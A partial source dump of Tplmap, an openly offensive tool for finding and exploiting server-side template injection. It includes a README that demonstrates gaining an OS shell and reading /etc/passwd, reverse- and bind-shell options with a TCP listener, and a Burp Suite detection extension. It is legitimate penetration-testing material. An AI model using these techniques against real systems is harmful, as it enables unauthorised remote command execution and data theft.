├── .gitignore
├── .travis.yml
├── LICENSE.md
├── README.md
├── burp_extension.py
├── burp_extension
├── README.md
├── __init__.py
├── burp_extender.py
├── channel.py
├── config_tab.py
├── scan_issue.py
└── scanner_check.py
├── config.yml
├── core
├── __init__.py
├── channel.py
├── checks.py
├── clis.py
├── plugin.py
└── tcpserver.py
├── docker-envs
├── Dockerfile.java
├── Dockerfile.node
├── Dockerfile.php
├── Dockerfile.python2
├── Dockerfile.python3
├── Dockerfile.ruby
├── README.md
└── docker-compose.yml
├── plugins
├── __init__.py
├── engines
│ ├── __init__.py
│ ├── dot.py
│ ├── dust.py
│ ├── ejs.py
│ ├── erb.py
│ ├── freemarker.py
│ ├── jinja2.py
│ ├── mako.py
│ ├── marko.py
│ ├── nunjucks.py
│ ├── pug.py
│ ├── slim.py
│ ├── smarty.py
│ ├── tornado.py
│ ├── twig.py
│ └── velocity.py
└── languages
│ ├── __init__.py
│ ├── bash.py
│ ├── java.py
│ ├── javascript.py
│ ├── php.py
│ ├── python.py
│ └── ruby.py
├── requirements.txt
├── tests
├── basetest.py
├── env_java_tests
│ └── spark-app
│ │ ├── build.gradle
│ │ ├── gradle
│ │ └── wrapper
│ │ │ └── gradle-wrapper.properties
│ │ ├── settings.gradle
│ │ └── src
│ │ └── main
│ │ ├── java
│ │ └── org
│ │ │ └── tplmap
│ │ │ └── webframeworks
│ │ │ └── SparkApplication.java
│ │ └── resources
│ │ └── templates
│ │ └── hello.html
├── env_node_tests
│ └── connect-app.js
├── env_php_tests
│ ├── eval.php
│ ├── smarty-3.1.32-secured.php
│ ├── smarty-3.1.32-unsecured.php
│ ├── twig-1.19.0-unsecured.php
│ └── twig-1.20.0-secured.php
├── env_py_tests
│ └── webserver.py
├── env_ruby_tests
│ ├── config.ru
│ └── webserver.rb
├── run_channel_test.sh
├── run_java_tests.sh
├── run_node_tests.sh
├── run_php_tests.sh
├── run_python2_tests.sh
├── run_python3_tests.sh
├── run_ruby_tests.sh
├── test_channel.py
├── test_java_freemarker.py
├── test_java_velocity.py
├── test_node_dot.py
├── test_node_dust.py
├── test_node_ejs.py
├── test_node_javascript.py
├── test_node_marko.py
├── test_node_nunjucks.py
├── test_node_pug.py
├── test_php_php.py
├── test_php_smarty_secured.py
├── test_php_smarty_unsecured.py
├── test_php_twig_secured.py
├── test_php_twig_unsecured.py
├── test_py_jinja2.py
├── test_py_mako.py
├── test_py_python.py
├── test_py_tornado.py
├── test_ruby_erb.py
├── test_ruby_ruby.py
├── test_ruby_slim.py
└── tests.sh
├── tplmap.py
└── utils
├── __init__.py
├── cliparser.py
├── closures.py
├── config.py
├── loggers.py
├── rand.py
└── strings.py
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 |
5 | # C extensions
6 | *.so
7 |
8 | # Distribution / packaging
9 | .Python
10 | env/
11 | bin/
12 | build/
13 | develop-eggs/
14 | dist/
15 | eggs/
16 | lib/
17 | lib64/
18 | parts/
19 | sdist/
20 | var/
21 | *.egg-info/
22 | .installed.cfg
23 | *.egg
24 |
25 | # Installer logs
26 | pip-log.txt
27 | pip-delete-this-directory.txt
28 |
29 | # Unit test / coverage reports
30 | .tox/
31 | .coverage
32 | .cache
33 | nosetests.xml
34 | coverage.xml
35 |
36 | # Translations
37 | *.mo
38 |
39 | # OsX
40 | .DS_Store
41 |
42 |
43 | # TplMap third party test-data
44 | tests/env_*/lib/
45 | tests/env_*/templates_c/
46 |
47 | # Npm local modules
48 | node_modules
49 |
50 | # Jython
51 | *.class
52 |
53 | # Vim
54 | # swap
55 | .sw[a-p]
56 | .*.sw[a-p]
57 | # tags
58 | tags
59 |
--------------------------------------------------------------------------------
/.travis.yml:
--------------------------------------------------------------------------------
1 | sudo: required
2 |
3 | services:
4 | - docker
5 |
6 | script:
7 | ./tests/tests.sh
8 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | Tplmap
2 | ======
3 |
4 | > This project is no longer maintained. I'm happy to merge new PRs as long they don't break the [test suite](https://github.com/epinna/tplmap/wiki/Run-the-test-suite).
5 |
6 | Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operating system.
7 |
8 | The tool and its test suite are developed to research the SSTI vulnerability class and to be used as offensive security tool during web application penetration tests.
9 |
10 | The sandbox break-out techniques came from James Kett's [Server-Side Template Injection: RCE For The Modern Web App][10], other public researches [\[1\]][1] [\[2\]][2], and original contributions to this tool [\[3\]][3] [\[4\]][4].
11 |
12 | It can exploit several code context and blind injection scenarios. It also supports _eval()_-like code injections in Python, Ruby, PHP, Java and generic unsandboxed template engines.
13 |
14 | Server-Side Template Injection
15 | ------------------------------
16 |
17 | Assume that you are auditing a web site that generates dynamic pages using templates composed with user-provided values, such as this web application written in Python and [Flask][12] that uses [Jinja2][11] template engine in an unsafe way.
18 |
19 | ```python
20 | from flask import Flask, request
21 | from jinja2 import Environment
22 |
23 | app = Flask(__name__)
24 | Jinja2 = Environment()
25 |
26 | @app.route("/page")
27 | def page():
28 |
29 | name = request.values.get('name')
30 |
31 | # SSTI VULNERABILITY
32 | # The vulnerability is introduced concatenating the
33 | # user-provided `name` variable to the template string.
34 | output = Jinja2.from_string('Hello ' + name + '!').render()
35 |
36 | # Instead, the variable should be passed to the template context.
37 | # Jinja2.from_string('Hello {{name}}!').render(name = name)
38 |
39 | return output
40 |
41 | if __name__ == "__main__":
42 | app.run(host='0.0.0.0', port=80)
43 | ```
44 |
45 | From a black box testing perspective, the page reflects the value similarly to a XSS vulnerability, but also computes basic operation at runtime disclosing its SSTI nature.
46 |
47 | ```
48 | $ curl -g 'http://www.target.com/page?name=John'
49 | Hello John!
50 | $ curl -g 'http://www.target.com/page?name={{7*7}}'
51 | Hello 49!
52 | ```
53 |
54 | Exploitation
55 | ------------
56 |
57 | Tplmap is able to detect and exploit SSTI in a range of template engines to get access to the underlying file system and operating system. Run it against the URL to test if the parameters are vulnerable.
58 |
59 | ```
60 | $ ./tplmap.py -u 'http://www.target.com/page?name=John'
61 | [+] Tplmap 0.5
62 | Automatic Server-Side Template Injection Detection and Exploitation Tool
63 |
64 | [+] Testing if GET parameter 'name' is injectable
65 | [+] Smarty plugin is testing rendering with tag '{*}'
66 | [+] Smarty plugin is testing blind injection
67 | [+] Mako plugin is testing rendering with tag '${*}'
68 | ...
69 | [+] Jinja2 plugin is testing rendering with tag '{{*}}'
70 | [+] Jinja2 plugin has confirmed injection with tag '{{*}}'
71 | [+] Tplmap identified the following injection point:
72 |
73 | GET parameter: name
74 | Engine: Jinja2
75 | Injection: {{*}}
76 | Context: text
77 | OS: linux
78 | Technique: render
79 | Capabilities:
80 |
81 | Shell command execution: ok
82 | Bind and reverse shell: ok
83 | File write: ok
84 | File read: ok
85 | Code evaluation: ok, python code
86 |
87 | [+] Rerun tplmap providing one of the following options:
88 |
89 | --os-shell Run shell on the target
90 | --os-cmd Execute shell commands
91 | --bind-shell PORT Connect to a shell bind to a target port
92 | --reverse-shell HOST PORT Send a shell back to the attacker's port
93 | --upload LOCAL REMOTE Upload files to the server
94 | --download REMOTE LOCAL Download remote files
95 | ```
96 |
97 | Use `--os-shell` option to launch a pseudo-terminal on the target.
98 |
99 | ```
100 | $ ./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
101 | [+] Tplmap 0.5
102 | Automatic Server-Side Template Injection Detection and Exploitation Tool
103 |
104 | [+] Run commands on the operating system.
105 |
106 | linux $ whoami
107 | www
108 | linux $ cat /etc/passwd
109 | root:x:0:0:root:/root:/bin/bash
110 | daemon:x:1:1:daemon:/usr/sbin:/bin/sh
111 | bin:x:2:2:bin:/bin:/bin/sh
112 | ```
113 |
114 | Supported template engines
115 | --------------------------
116 |
117 | Tplmap supports over 15 template engines, unsandboxed template engines and generic _eval()_-like injections.
118 |
119 | | Engine | Remote Command Execution | Blind | Code evaluation | File read | File write |
120 | |------------------------|---------------|-------------------|-----------------|-----------|------------|
121 | | Mako | ✓ | ✓ | Python | ✓ | ✓ |
122 | | Jinja2 | ✓ | ✓ | Python | ✓ | ✓ |
123 | | Python (code eval) | ✓ | ✓ | Python | ✓ | ✓ |
124 | | Tornado | ✓ | ✓ | Python | ✓ | ✓ |
125 | | Nunjucks | ✓ | ✓ | JavaScript | ✓ | ✓ |
126 | | Pug | ✓ | ✓ | JavaScript | ✓ | ✓ |
127 | | doT | ✓ | ✓ | JavaScript | ✓ | ✓ |
128 | | Marko | ✓ | ✓ | JavaScript | ✓ | ✓ |
129 | | JavaScript (code eval) | ✓ | ✓ | JavaScript | ✓ | ✓ |
130 | | Dust (<= dustjs-helpers@1.5.0) | ✓ | ✓ | JavaScript | ✓ | ✓ |
131 | | EJS | ✓ | ✓ | JavaScript | ✓ | ✓ |
132 | | Ruby (code eval) | ✓ | ✓ | Ruby | ✓ | ✓ |
133 | | Slim | ✓ | ✓ | Ruby | ✓ | ✓ |
134 | | ERB | ✓ | ✓ | Ruby | ✓ | ✓ |
135 | | Smarty (unsecured) | ✓ | ✓ | PHP | ✓ | ✓ |
136 | | PHP (code eval) | ✓ | ✓ | PHP | ✓ | ✓ |
137 | | Twig (<=1.19) | ✓ | ✓ | PHP | ✓ | ✓ |
138 | | Freemarker | ✓ | ✓ | Java | ✓ | ✓ |
139 | | Velocity | ✓ | ✓ | Java | ✓ | ✓ |
140 | | Twig (>1.19) | × | × | × | × | × |
141 | | Smarty (secured) | × | × | × | × | × |
142 | | Dust (> dustjs-helpers@1.5.0) | × | × | × | × | × |
143 |
144 |
145 | Burp Suite Plugin
146 | -----------------
147 |
148 | See [burp_extension/README.md](burp_extension/README.md).
149 |
150 | [10]: http://blog.portswigger.net/2015/08/server-side-template-injection.html
151 | [3]: https://github.com/epinna/tplmap/issues/9
152 | [4]: http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
153 | [1]: https://artsploit.blogspot.co.uk/2016/08/pprce2.html
154 | [11]: http://jinja.pocoo.org/
155 | [12]: http://flask.pocoo.org/
156 | [2]: https://opsecx.com/index.php/2016/07/03/server-side-template-injection-in-tornado/
157 |
--------------------------------------------------------------------------------
/burp_extension.py:
--------------------------------------------------------------------------------
1 | from burp_extension.burp_extender import BurpExtender
2 |
--------------------------------------------------------------------------------
/burp_extension/README.md:
--------------------------------------------------------------------------------
1 | # Burp Suite Plugin
2 |
3 | Tplmap is able to run as a Burp Suite Extension.
4 |
5 | ### Install
6 |
7 | Load burp_extension.py with following conditions.
8 |
9 | * Burp Suite edition: Professional
10 | * The Python modules required for Tplmap are installed.
11 | * PyYaml
12 | * requests
13 | * Extension type: Python
14 |
15 | An example of a simple setup procedure:
16 |
17 | 1. Install Jython by installer
18 | ```sh
19 | $ wget 'https://repo1.maven.org/maven2/org/python/jython-installer/2.7.2/jython-installer-2.7.2.jar' -O jython_installer.jar
20 | $ mkdir "$HOME"/jython
21 | $ java -jar jython_installer.jar -s -d "$HOME"/jython -t standard
22 | $ rm jython_installer.jar
23 | ```
24 | 2. Install additional Python modules
25 | ```sh
26 | $ curl -sL 'https://github.com/yaml/pyyaml/archive/refs/tags/5.1.2.tar.gz' | tar xzf -
27 | $ cd pyyaml-5.1.2
28 | $ "$HOME"/jython/bin/jython setup.py install
29 | $ cd ..
30 | $ curl -sL 'https://github.com/psf/requests/archive/refs/tags/v2.22.0.tar.gz' | tar xzf -
31 | $ cd requests-2.22.0
32 | $ "$HOME"/jython/bin/jython setup.py install
33 | $ cd ..
34 | $ rm -rf pyyaml-5.1.2 requests-2.22.0
35 | ```
36 | 3. Run your Burp Suite
37 | 4. Open Jython file chooser dialog
38 | [Extender] - [Options] - [Python Environment] - [Location of the Jython standalone JAR file]
39 | 5. Choose the file `$HOME/jython/jython.jar`
40 | 6. Load `burp_extender.py` as Python type burp extension
41 |
42 | ### Scanning
43 |
44 | Configure scanning option from 'Tplmap' tab, and do an active scan.
45 |
46 | ### Limitation
47 |
48 | Only the detection feature of Tplmap is available.
49 | Exploitation feature is not implemented, use Tplmap CLI.
50 |
51 | The `--injection-tag` option is also not available, because this extension follows Burp's Insertion Point setting.
52 |
53 | If you need the `--injection-tag` option, you can use [Scan manual insertion point](https://github.com/ClementNotin/burp-scan-manual-insertion-point) extension.
54 |
--------------------------------------------------------------------------------
/burp_extension/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/epinna/tplmap/616b0e527f62dd0930e6346ede6bef79e9bcf717/burp_extension/__init__.py
--------------------------------------------------------------------------------
/burp_extension/burp_extender.py:
--------------------------------------------------------------------------------
1 | from burp import IBurpExtender
2 | from config_tab import ConfigTab
3 | from scanner_check import ScannerCheck
4 |
5 | class BurpExtender( IBurpExtender ):
6 |
7 | def registerExtenderCallbacks( self, callbacks ):
8 | configTab = ConfigTab( callbacks )
9 | callbacks.setExtensionName( 'Tplmap' )
10 | callbacks.addSuiteTab( configTab )
11 | callbacks.registerScannerCheck( ScannerCheck( callbacks, configTab ) )
12 |
13 |
--------------------------------------------------------------------------------
/burp_extension/channel.py:
--------------------------------------------------------------------------------
1 | class Channel:
2 |
3 | def __init__( self, callbacks, configTab, baseRequestResponse, insertionPoint, payloadPosition ):
4 | self._callbacks = callbacks
5 | self._helpers = callbacks.getHelpers()
6 | self._configTab = configTab
7 | self._baseRequestResponse = baseRequestResponse
8 | self._insertionPoint = insertionPoint
9 | self._payloadPosition = payloadPosition
10 | self._request = self._helpers.analyzeRequest( baseRequestResponse )
11 |
12 | self.url = self._request.getUrl()
13 | self.args = {
14 | 'level': self._configTab.getLevel(),
15 | 'technique': self._configTab.getTechniques() }
16 | self.data = {}
17 | self.detect = False
18 | self.messages = []
19 |
20 | def req( self, injection ):
21 | payload = injection if self._payloadPosition == 'replace' else self._insertionPoint.getBaseValue() + injection
22 | checkRequest = self._insertionPoint.buildRequest( self._helpers.stringToBytes( payload ) )
23 | checkRequestResponse = self._callbacks.makeHttpRequest( self._baseRequestResponse.getHttpService(), checkRequest )
24 | self.messages.append( {
25 | 'injection': injection,
26 | 'requestResponse': checkRequestResponse
27 | } )
28 | return self._helpers.bytesToString( checkRequestResponse.getResponse() )
29 |
30 | def detected( self, technique, detail ):
31 | self.detect = True
32 | self.technique = technique
33 | self.detail = detail
34 | self.detect_offset = len( self.messages )
35 |
36 |
--------------------------------------------------------------------------------
/burp_extension/config_tab.py:
--------------------------------------------------------------------------------
1 | from burp import ITab
2 |
3 | from javax.swing import JPanel, GroupLayout, JLabel, JComboBox, JCheckBox
4 | from java.awt import Dimension
5 |
6 | from core.checks import plugins
7 |
8 | class ConfigTab( ITab, JPanel ):
9 |
10 | def __init__( self, callbacks ):
11 | self._callbacks = callbacks
12 | self._helpers = callbacks.getHelpers()
13 | self.__initLayout__()
14 |
15 | def __initLayout__( self ):
16 | self._levelComboBox = JComboBox()
17 | levelComboBoxSize = Dimension( 300, 30 )
18 | self._levelComboBox.setPreferredSize( levelComboBoxSize )
19 | self._levelComboBox.setMaximumSize( levelComboBoxSize )
20 | for level in range( 0, 6 ):
21 | self._levelComboBox.addItem( str( level ) )
22 |
23 | self._techRenderedCheckBox = JCheckBox( 'Rendered', True )
24 | self._techTimebasedCheckBox = JCheckBox( 'Time-based', True )
25 |
26 | self._plugin_groups = {}
27 | for plugin in plugins:
28 | parent = plugin.__base__.__name__
29 | if not self._plugin_groups.has_key( parent ):
30 | self._plugin_groups[ parent ] = []
31 | self._plugin_groups[ parent ].append( plugin )
32 | self._pluginCheckBoxes = []
33 | for pluginGroup in self._plugin_groups.values():
34 | for plugin in pluginGroup:
35 | self._pluginCheckBoxes.append( PluginCheckBox( plugin ) )
36 |
37 | self._positionReplaceCheckBox = JCheckBox( 'Replace', True )
38 | self._positionAppendCheckBox = JCheckBox( 'Append', False )
39 |
40 | displayItems = (
41 | {
42 | 'label': 'Level',
43 | 'components': ( self._levelComboBox, ),
44 | 'description': 'Level of code context escape to perform (1-5, Default:0).'
45 | },
46 | {
47 | 'label': 'Techniques',
48 | 'components': ( self._techRenderedCheckBox, self._techTimebasedCheckBox, ),
49 | 'description': 'Techniques R(endered) T(ime-based blind). Default: RT.'
50 | },
51 | {
52 | 'label': 'Template Engines',
53 | 'components': self._pluginCheckBoxes,
54 | 'description': 'Force back-end template engine to this value(s).'
55 | },
56 | {
57 | 'label': 'Payload position',
58 | 'components': ( self._positionReplaceCheckBox, self._positionAppendCheckBox, ),
59 | 'description': 'Scan payload position. This feature only appears in BurpExtension.'
60 | }
61 | )
62 |
63 | layout = GroupLayout( self )
64 | self.setLayout( layout )
65 | layout.setAutoCreateGaps( True )
66 | layout.setAutoCreateContainerGaps( True )
67 |
68 | labelWidth = 200
69 | hgroup = layout.createParallelGroup( GroupLayout.Alignment.LEADING )
70 | vgroup = layout.createSequentialGroup()
71 | for displayItem in displayItems:
72 | label = JLabel( displayItem.get( 'label' ) )
73 | label.setToolTipText( displayItem.get( 'description' ) )
74 | _hgroup = layout.createSequentialGroup().addComponent( label, labelWidth, labelWidth, labelWidth )
75 | _vgroup = layout.createParallelGroup( GroupLayout.Alignment.BASELINE ).addComponent( label )
76 | for component in displayItem.get( 'components' ):
77 | _hgroup.addComponent( component )
78 | _vgroup.addComponent( component )
79 | hgroup.addGroup( _hgroup )
80 | vgroup.addGroup( _vgroup )
81 |
82 | layout.setHorizontalGroup( hgroup )
83 | layout.setVerticalGroup( vgroup )
84 |
85 | def getTabCaption( self ):
86 | return 'Tplmap'
87 |
88 | def getUiComponent( self ):
89 | return self
90 |
91 | def getLevel( self ):
92 | return self._levelComboBox.getSelectedIndex()
93 |
94 | def getTechniques( self ):
95 | return '%s%s' % ( 'R' if self._techRenderedCheckBox.isSelected() else '', 'T' if self._techTimebasedCheckBox.isSelected() else '' )
96 |
97 | def getEngines( self ):
98 | return [ checkbox.getPlugin() for checkbox in self._pluginCheckBoxes if checkbox.isSelected() ]
99 |
100 | def getPayloadPosition( self ):
101 | return { 'replace': self._positionReplaceCheckBox.isSelected(), 'append': self._positionAppendCheckBox.isSelected() }
102 |
103 | class PluginCheckBox( JCheckBox ):
104 |
105 | def __init__( self, plugin ):
106 | JCheckBox.__init__( self, plugin.__name__, True )
107 | self._plugin = plugin
108 | parent = plugin.__base__.__name__
109 | tooltip = parent if( parent != 'Plugin' ) else 'eval'
110 | self.setToolTipText( tooltip )
111 |
112 | def getPlugin( self ):
113 | return self._plugin
114 |
--------------------------------------------------------------------------------
/burp_extension/scan_issue.py:
--------------------------------------------------------------------------------
1 | from burp import IScanIssue
2 |
3 | from array import array
4 | import cgi
5 |
6 | class ScanIssue( IScanIssue ):
7 |
8 | def __init__( self, callbacks, baseRequestResponse, insertionPoint, channel ):
9 | self._callbacks = callbacks
10 | self._helpers = callbacks.getHelpers()
11 | self._baseRequestResponse = baseRequestResponse
12 | self._insertionPoint = insertionPoint
13 | self._channel = channel
14 |
15 | def getUrl( self ):
16 | return self._helpers.analyzeRequest( self._baseRequestResponse ).getUrl()
17 |
18 | def getIssueName( self ):
19 | return 'Server-side template injection'
20 |
21 | def getIssueType( self ):
22 | return 0x08000000
23 |
24 | def getSeverity( self ):
25 | return 'High'
26 |
27 | def getConfidence( self ):
28 | return 'Certain'
29 |
30 | def getIssueBackground( self ):
31 | return None
32 |
33 | def getRemediationBackground( self ):
34 | return None
35 |
36 | def getIssueDetail( self ):
37 | prologue_template = """
38 | The {parameter} parameter appears to be vulnerable to server-side template injection attacks.
39 | The template engine appears to be {template}.
40 | """
41 |
42 | render_template = """
43 | The payload {payload} was submitted in the {parameter} parameter.
44 | This payload contains an {template} template statement.
45 | The server response contained the string {rendered}.
46 | This indicates that the payload is being interpreted by a server-side template engine.
47 | """
48 |
49 | blind_template = """
50 | The time-based blind payload {payload} was submitted in the {parameter} parameter.
51 | The application took {delta:f} milliseconds to respond to the request, compared with {average} milliseconds for the average, indicating that the injected command caused a time delay.
52 | """
53 |
54 | info_template = """
55 | Identified Informations:
56 |
57 | - Template engine: {template}
58 | - Server side language: {language}
59 | - Technique: {technique}
60 | - OS: {os}
61 |
62 | Capabilities:
63 |
64 | - {execute_method}: {execute}
65 | - File read: {read}
66 | - File write: {write}
67 | - Bind shell: {bind_shell}
68 | - Reverse shell: {reverse_shell}
69 |
70 | """
71 |
72 | data = self._channel.data
73 | parameter = cgi.escape( self._insertionPoint.getInsertionPointName() )
74 | template = data.get( 'engine' )
75 | language = data.get( 'language' )
76 | prologue = prologue_template.format( parameter=parameter, template=template, language=language )
77 |
78 | if self._channel.technique == 'render':
79 | payload = self._channel.messages[ self._channel.detect_offset - 1 ].get( 'injection' )
80 | technique_part = render_template.format(
81 | parameter = parameter,
82 | template = template,
83 | payload = cgi.escape( payload ),
84 | rendered = cgi.escape( self._channel.detail.get( 'expected' ) ) )
85 | execute_method = 'execute'
86 | elif self._channel.technique == 'blind':
87 | blind_true_payload = self._channel.messages[ self._channel.detect_offset - 2 ].get( 'injection' )
88 | detail = self._channel.detail
89 | blind_true_detail = detail.get( 'blind_true' )
90 | average = ( detail.get( 'average' ) / 1000.0 )
91 | delta_true = blind_true_detail.get( 'end' ) - blind_true_detail.get( 'start' )
92 | delta_true_milliseconds = ( delta_true.seconds * 1000000.0 + delta_true.microseconds ) / 1000.0
93 | technique_part = blind_template.format(
94 | payload = cgi.escape( blind_true_payload ),
95 | parameter = parameter,
96 | average = average,
97 | delta = delta_true_milliseconds )
98 | execute_method = 'execute_blind'
99 |
100 | _okng = lambda f: 'OK' if f else 'NG'
101 | info_part = info_template.format(
102 | template = template,
103 | language = language,
104 | technique = self._channel.technique,
105 | os = data.get( 'os', 'undetected' ),
106 | execute_method = execute_method,
107 | execute = _okng( data.get( execute_method ) ),
108 | read = _okng( data.get( 'read' ) ),
109 | write = _okng( data.get( 'write' ) ),
110 | bind_shell = _okng( data.get( 'bind_shell' ) ),
111 | reverse_shell = _okng( data.get( 'reverse_shell' ) ) )
112 | return prologue + technique_part + info_part
113 |
114 | def getRemediationDetail( self ):
115 | return None
116 |
117 | def getHttpMessages( self ):
118 | if self._channel.technique == 'render':
119 | responseMarkString = self._channel.detail.get( 'expected' )
120 | detectedMessage = self._channel.messages[ self._channel.detect_offset - 1 ]
121 | messages = [ self._markHttpMessage( detectedMessage.get( 'requestResponse' ), detectedMessage.get( 'injection' ), responseMarkString ) ]
122 | elif self._channel.technique == 'blind':
123 | blind_true_message = self._channel.messages[ self._channel.detect_offset - 2 ]
124 | blind_false_message = self._channel.messages[ self._channel.detect_offset - 1 ]
125 | messages = [
126 | self._markHttpMessage( blind_true_message.get( 'requestResponse' ), blind_true_message.get( 'injection' ), None ),
127 | self._markHttpMessage( blind_false_message.get( 'requestResponse' ), blind_false_message.get( 'injection' ), None ) ]
128 | for evaluate in self._channel.messages[ self._channel.detect_offset: ]:
129 | messages.append( self._markHttpMessage( evaluate.get( 'requestResponse' ), evaluate.get( 'injection' ), None ) )
130 | return messages
131 |
132 | def getHttpService( self ):
133 | return self._baseRequestResponse.getHttpService()
134 |
135 | def _markHttpMessage( self, requestResponse, injection, responseMarkString ):
136 | responseMarkers = None
137 | if responseMarkString:
138 | response = requestResponse.getResponse()
139 | responseMarkBytes = self._helpers.stringToBytes( responseMarkString )
140 | start = self._helpers.indexOf( response, responseMarkBytes, False, 0, len( response ) )
141 | if -1 < start:
142 | responseMarkers = [ array( 'i',[ start, start + len( responseMarkBytes ) ] ) ]
143 |
144 | requestHighlights = [ self._insertionPoint.getPayloadOffsets( self._helpers.stringToBytes( injection ) ) ]
145 | return self._callbacks.applyMarkers( requestResponse, requestHighlights, responseMarkers )
146 |
147 |
--------------------------------------------------------------------------------
/burp_extension/scanner_check.py:
--------------------------------------------------------------------------------
1 | from burp import IScannerCheck
2 |
3 | from channel import Channel
4 | from scan_issue import ScanIssue
5 |
6 | class ScannerCheck( IScannerCheck ):
7 |
8 | def __init__( self, callbacks, configTab ):
9 | self._callbacks = callbacks
10 | self._helpers = callbacks.getHelpers()
11 | self._configTab = configTab
12 |
13 | def doPassiveScan( self, baseRequestResponse ):
14 | return None
15 |
16 | def doActiveScan( self, baseRequestResponse, insertionPoint ):
17 | for position in [ position for ( position, selected ) in self._configTab.getPayloadPosition().items() if selected ]:
18 | channel = Channel( self._callbacks, self._configTab, baseRequestResponse, insertionPoint, position )
19 | for engineClass in self._configTab.getEngines():
20 | engine = engineClass( channel )
21 | engine.detect()
22 | if channel.detect:
23 | return [ ScanIssue( self._callbacks, baseRequestResponse, insertionPoint, channel ) ]
24 | return None
25 |
26 | def consolidateDuplicateIssues( self, existingIssue, newIssue ):
27 | return 0
28 |
29 |
--------------------------------------------------------------------------------
/config.yml:
--------------------------------------------------------------------------------
1 | # Tplmap home folder
2 | base_path: ~/.tplmap/
3 |
4 | # Log HTTP responses under tplmap.log
5 | log_response: False
6 |
7 | # The number of seconds to delay the response when testing for
8 | # time-based blind injection. This will be added to the average
9 | # response time for render values.
10 | time_based_blind_delay: 4
11 |
--------------------------------------------------------------------------------
/core/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/epinna/tplmap/616b0e527f62dd0930e6346ede6bef79e9bcf717/core/__init__.py
--------------------------------------------------------------------------------
/core/clis.py:
--------------------------------------------------------------------------------
1 | import cmd
2 |
3 | class Shell(cmd.Cmd):
4 | """Interactive shell."""
5 |
6 | def __init__(self, inject_function, prompt):
7 | cmd.Cmd.__init__(self)
8 |
9 | self.inject_function = inject_function
10 | self.prompt = prompt
11 |
12 | def default(self, line):
13 | print(self.inject_function(line))
14 |
15 | def emptyline(self):
16 | pass
17 |
18 | class MultilineShell(cmd.Cmd):
19 | """Interactive multiline shell."""
20 |
21 | def __init__(self, inject_function, prompt):
22 | cmd.Cmd.__init__(self)
23 |
24 | self.inject_function = inject_function
25 | self.fixed_prompt = prompt
26 |
27 | self.lines = []
28 |
29 | self._format_prompt()
30 |
31 | def _format_prompt(self):
32 | self.prompt = '[%i] %s' % (
33 | len(self.lines),
34 | self.fixed_prompt
35 | )
36 |
37 | def postcmd(self, stop, line):
38 | self._format_prompt()
39 | return stop
40 |
41 | def default(self, line):
42 | self.lines.append(line)
43 |
44 | def emptyline(self):
45 |
46 | # Do not save empty line if there is nothing to send
47 | if not self.lines:
48 | return
49 |
50 | def do_EOF(self, line):
51 | # Run the inject function and reset the state
52 |
53 | # Send the current line as well
54 | if line:
55 | self.lines.append(line)
56 |
57 | print('')
58 | print(self.inject_function('\n'.join(self.lines)))
59 | self.lines = []
60 |
61 |
62 |
--------------------------------------------------------------------------------
/core/tcpserver.py:
--------------------------------------------------------------------------------
1 | import socket
2 | from utils.loggers import log
3 | import sys
4 | import select
5 |
6 | class TcpServer:
7 |
8 | def __init__(self, port, timeout):
9 | self.connect = False
10 | self.hostname = '0.0.0.0'
11 | self.port = port
12 |
13 | self.timeout = timeout
14 | self.socket_state = False
15 |
16 | self.socket = None
17 |
18 | self.connect_socket()
19 |
20 | if not self.socket: return
21 |
22 | self.forward_data()
23 |
24 | def connect_socket(self):
25 | if(self.connect):
26 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
27 | self.socket.connect((self.hostname, self.port))
28 |
29 | else:
30 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
31 | server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
32 | try:
33 | server.setsockopt(socket.SOL_SOCKET, socket.TCP_NODELAY, 1)
34 | except socket.error:
35 | #log.debug("Warning: unable to set TCP_NODELAY...")
36 | pass
37 |
38 | try:
39 | server.bind(('0.0.0.0', self.port))
40 | except socket.error as e:
41 | log.error("Port bind on 0.0.0.0:%s has failed: %s" % (self.port, str(e)))
42 | return
43 |
44 | server.listen(1)
45 |
46 | server.settimeout(self.timeout)
47 |
48 | try:
49 | self.socket, address = server.accept()
50 | except socket.timeout as e:
51 | server.close()
52 | raise
53 |
54 |
55 | def forward_data(self):
56 |
57 | log.info("Incoming connection accepted")
58 |
59 | self.socket.setblocking(0)
60 |
61 | while(1):
62 | read_ready, write_ready, in_error = select.select(
63 | [self.socket, sys.stdin], [], [self.socket, sys.stdin])
64 |
65 | try:
66 | buffer = self.socket.recv(100)
67 | while(buffer != ''):
68 |
69 | self.socket_state = True
70 |
71 | sys.stdout.write(buffer)
72 | sys.stdout.flush()
73 | buffer = self.socket.recv(100)
74 | if(buffer == ''):
75 | return
76 | except socket.error:
77 | pass
78 | while(1):
79 | r, w, e = select.select([sys.stdin], [], [], 0)
80 | if(len(r) == 0):
81 | break
82 | c = sys.stdin.read(1)
83 | if(c == ''):
84 | return
85 | if(self.socket.sendall(c) != None):
86 | return
87 |
--------------------------------------------------------------------------------
/docker-envs/Dockerfile.java:
--------------------------------------------------------------------------------
1 | FROM gradle:4.10.2-jdk8
2 |
3 | USER root
4 |
5 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip -y
6 | RUN pip install requests PyYAML
7 |
8 | COPY tests/env_java_tests/spark-app/ /apps/tests/env_java_tests/spark-app/
9 | WORKDIR /apps/tests/
10 |
11 | # install dependencies
12 | RUN cd env_java_tests/spark-app/ && sed -ie 's/id "com\.github\.johnrengelman\.shadow".*//' build.gradle && \
13 | gradle classes
14 |
15 | COPY . /apps/
16 |
17 | EXPOSE 15003
18 |
19 | CMD cd env_java_tests/spark-app/ && gradle run
20 |
--------------------------------------------------------------------------------
/docker-envs/Dockerfile.node:
--------------------------------------------------------------------------------
1 | FROM node:10.12.0
2 |
3 | RUN apt-get update && apt-get install --upgrade dnsutils python-pip libpython-dev -y
4 | RUN pip install requests PyYAML
5 |
6 | COPY tests/env_node_tests/ /apps/tests/env_node_tests/
7 |
